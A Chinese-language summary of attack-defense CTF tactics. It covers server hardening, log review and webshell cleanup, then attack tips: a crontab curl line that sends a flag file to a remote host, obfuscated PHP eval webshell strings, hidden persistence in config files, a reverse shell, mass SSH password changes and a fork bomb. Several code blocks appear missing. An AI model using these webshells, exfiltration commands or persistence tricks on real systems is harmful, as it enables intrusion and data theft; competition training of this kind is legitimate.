AD模式线下赛小结-Alkaid

 

0x01 出题思路

1:题目类型

1.出题人自己写的cms,为了恶心然后加个so。

2.常见或者不常见的cms。

3.一些框架漏洞,比如ph师傅挖的CI这种

 

2:代码类型

目前来说,国内比赛依旧是php居多,当然也会有一些别的,比如py,lua这种。

 

3:题目漏洞类型

1、sqli居多

2、文件包含

3、各种rce

4、文件上传

5、预留后门利用

 

4:出题人思路

为了不让你们这群赛棍把题秒了,我直接放个未公开cms的0day把,算了,要不我自己加点东西。诶,等等,这样是不是有点难了,再放几个比较简单的洞把,直接在index.php或者web根目录下放个shell?

5:拿flag方式

1-是向内网一台机器发送http请求,返回请求中包含flag。

2-是例如/home目录下放置flag文件。

0x02 防御技巧

1.分析流量

#在比赛服务器上抓取流量包
sudo tcpdump -s 0 -w flow.pcap port 80
使用scp写个脚本实时将流量包拷贝到本地用wireshark进行分析

2.分析日志

1).weblogger

2).LogForensics 腾讯实验室

3).北风飘然@金乌网络安全实验室

4).网络ID为piaox的安全从业人员

5).网络ID:SecSky

6).网络ID:鬼魅羊羔

# 日志地址
/var/log/apache2/
/usr/local/apache2/logs
/usr/nginx/logs/

3.打包源码&备份数据库

# 打包目录
tar -zcvf archive_name.tar.gz directory_to_compress
# 解包
tar -zxvf archive_name.tar.gz
# 备份指定的多个数据库
mysqldump -u root -p --databases choose test > /tmp/db.sql
# 恢复备份,在mysql终端下执行:
命令格式:source FILE_PATH
source ~/db.sql
# 曾经遇到一个备份有问题可以执行下面
mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
# 重置mysql密码
方法1:用SET PASSWORD命令
mysql> set password for 用户名@localhost = password('新密码');
方法2:用mysqladmin
mysqladmin -u用户名 -p旧密码 password 新密码

4.重置ssh密码

# ssh登录后执行
passwd

5.部署waf

使用方法:
(1).将waf.php传到要包含的文件的目录
(2).在页面中加入防护,有两种做法,根据情况二选一即可:

a).在所需要防护的页面加入代码

1.require_once('waf.php');
2.include('waf.php');

就可以做到页面防注入、跨站
如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php中!
添加require_once(‘waf.php’);来调用本代码
常用php系统添加文件

b).在每个文件最前加上代码
在php.ini中找到:

需要注意的是,部署waf可能会导致服务不可用,需要谨慎部署。

如果不能部署waf我们可以简单的写个apache配置文件来禁止PHP执行

6.干掉不死马的方式

(1).ps auxww|grep shell.php 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了

(2).重启php等web服务

(3).用一个ignore_user_abort(true)脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。

(4).创建一个和不死马生成的马一样名字的文件夹。

7.修改curl命令

#权限要求较低

#权限要求较高

8.用D盾扫描源代码删除后门文件

# 简单的查找后门

9.查找常见备份文件
# 例如bak文件
find / -name "*.bak"
10.重置web的各种登录密码(如果比赛check认为修改密码算down就不要修改了)

11.将uploads等文件夹使用chattr对文件底层属性进行控制。

chattr命令的用法:chattr [ -RVf ] [ -v version ] [ mode ] files…
最关键的是在[mode]部分,[mode]部分是由+-=和[ASacDdIijsTtu]这些字符组合的,这部分是用来控制文件的
属性。
+ :在原有参数设定基础上,追加参数。
- :在原有参数设定基础上,移除参数。
= :更新为指定参数设定。
A:文件或目录的 atime (access time)不可被修改(modified), 可以有效预防例如手提电脑磁盘I/O错误的发生。
S:硬盘I/O同步选项,功能类似sync。
a:即append,设定该参数后,只能向文件中添加数据,而不能删除,多用于服务器日志文件安全,只有root才能设定这个属性。
c:即compresse,设定文件是否经压缩后再存储。读取时需要经过自动解压操作。
d:即no dump,设定文件不能成为dump程序的备份目标。
i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。
j:即journal,设定此参数使得当通过mount参数:data=ordered 或者 data=writeback 挂 载的文件系统,文件在写入时会先被记录(在journal中)。如果filesystem被设定参数为 data=journal,则该参数自动失效。
s:保密性地删除文件或目录,即硬盘空间被全部收回。
u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion。
各参数选项中常用到的是a和i。a选项强制只可添加不可删除,多用于日志系统的安全设定。而i是更为严格的安全设定,只有superuser (root) 或具有CAP_LINUX_IMMUTABLE处理能力(标识)的进程能够施加该选项。
应用举例:
用chattr命令防止系统中某个关键文件被修改:
# chattr +i /etc/resolv.conf

12.部署文件监控,如果发现新上传文件或者文件被修改立即恢复

 

0x03 攻击技巧

1.拿到命令执行漏洞后执行crontab

# 参考http://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html
*/5 * * * * curl 172.16.100.5:9000/submit_flag/ -d 'flag='$(cat /home/web/flag/flag)'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY'
2.注意源码中或者备份文件中是否存在mysql等的弱口令

3.主机发现

# 使用httpscan脚本
./httpscan.py 172.16.0.0/24 –t 10
# masscan
masscan -p 80 172.16.0.0/24
# nmap
nmap –sn 172.16.0.0/24
4.常用的特殊webshell

控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。
简单举例:

连接方式:php?2=assert密码是1。
献上我常用得一句话

配置为?b=))99(rhC(tseuqeR+lave

配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)

 

5.权限维持

tips:.config.php前面使用一个点,能很好的隐藏文件。
想要结束这个进程,除了最暴力的重启apache服务之外,更为优雅的如下:
先查看进程,查看对应的pid,再执行即可。

素质低的人则会放置一个md5马,比如

如果素质低的人又很猥琐,像rootrain这种就是。那就是利用header,最后综合起来就是

放进config.php效果最好,因为一般很少人去看这个。还可以采用反弹shell的方式

之后本地执行nc -lp 9999即可6.获取flag的方式

(1) 批量传webshell(shell的内容可以写为权限维持部分的那个脚本),之后结合批量访问 参考PHP-定时任务

(2) 或者直接执行下面的脚本

(3) 有些SQL注入漏洞可以通过sqlmap利用—sql-shell 执行select load_file('/flag')来获取flag。最好直接利用脚本来获得。

(4) 文件包含漏洞,直接可以通过../../../../../../flag的方式获取

(5)批量提交flag的脚本

7.批量修改ssh密码的脚本(猥琐流直接干掉几个对手)

8.如果有发现有预留后门,要立即使用脚本进行获取flag

9.自写敏感功能。主办方可能已经把CMS本身的漏洞补全了,并自写了一些敏感功能,如上传、包含界面..,这时候需要自己手动去发现(利用seay代码审计工具可快速定位、ls -t按修改时间来看最新被修改的文件),分析,删除,利用。

10.fork炸弹

https://xianzhi.aliyun.com/forum/topic/1530

0x05 参考

转载于https://www.cnblogs.com/HacTF/p/9606589.html